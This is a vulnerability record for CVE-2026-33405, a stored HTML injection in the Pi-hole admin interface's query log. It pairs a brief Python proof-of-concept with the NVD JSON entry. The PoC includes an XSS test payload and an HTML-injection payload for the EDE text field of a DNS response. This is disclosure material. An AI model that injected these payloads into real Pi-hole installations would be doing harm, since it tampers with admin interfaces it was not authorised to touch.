CVE-2026-33405

# Proof of Concept Concept # The vulnerability resides in the 'formatInfo()' function rendering 'data.ede.text'. # Due to CSP (script-src 'self'), JS execution is blocked, but HTML injection works. # Malicious payload to be injected into the EDE text field of a DNS response payload = "<img src='x' onerror='alert(1)'>" # Since JS is blocked, a visual payload would be: visual_payload = "<h3 style='color:red'> Malicious Content Injected </h3> <b> Your admin interface is vulnerable </b>" # Python example to simulate the data structure that would trigger the vulnerability import json malicious_data = { "upstream": "normal_server", "client": { "ip": "192.168.1.1" }, "ede": { "text": visual_payload # This field is rendered unsafely in queries.js } } print(f"Malicious data object: {json.dumps(malicious_data)}")

{"cve": {"id": "CVE-2026-33405", "sourceIdentifier": "[email protected]", "published": "2026-04-06T16:16:33.610", "lastModified": "2026-04-09T18:30:03.017", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Pi-hole Admin Interface is a web interface for managing Pi-hole, a network-level ad and internet tracker blocking application. From 6.0 to before 6.5, the formatInfo() function in queries.js renders data.upstream, data.client.ip, and data.ede.text into HTML without escaping when a user expands a query row in the Query Log, enabling stored HTML injection. JavaScript execution is blocked by the server's CSP (script-src 'self'). The same fields are properly escaped in the table view (rowCallback), confirming the omission was an oversight. This vulnerability is fixed in 6.5."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:H/UI:R/S:U/C:L/I:L/A:N", "baseScore": 3.1, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 0.6, "impactScore": 2.5}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.7, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:pi-hole:web_interface:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.0", "versionEndIncluding": "6.4.1", "matchCriteriaId": "3F1EA9FF-4B56-41DE-A685-A1B75E6ECEF2"}]}]}], "references": [{"url": "https://github.com/pi-hole/web/security/advisories/GHSA-jx8x-mj2r-62vq", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}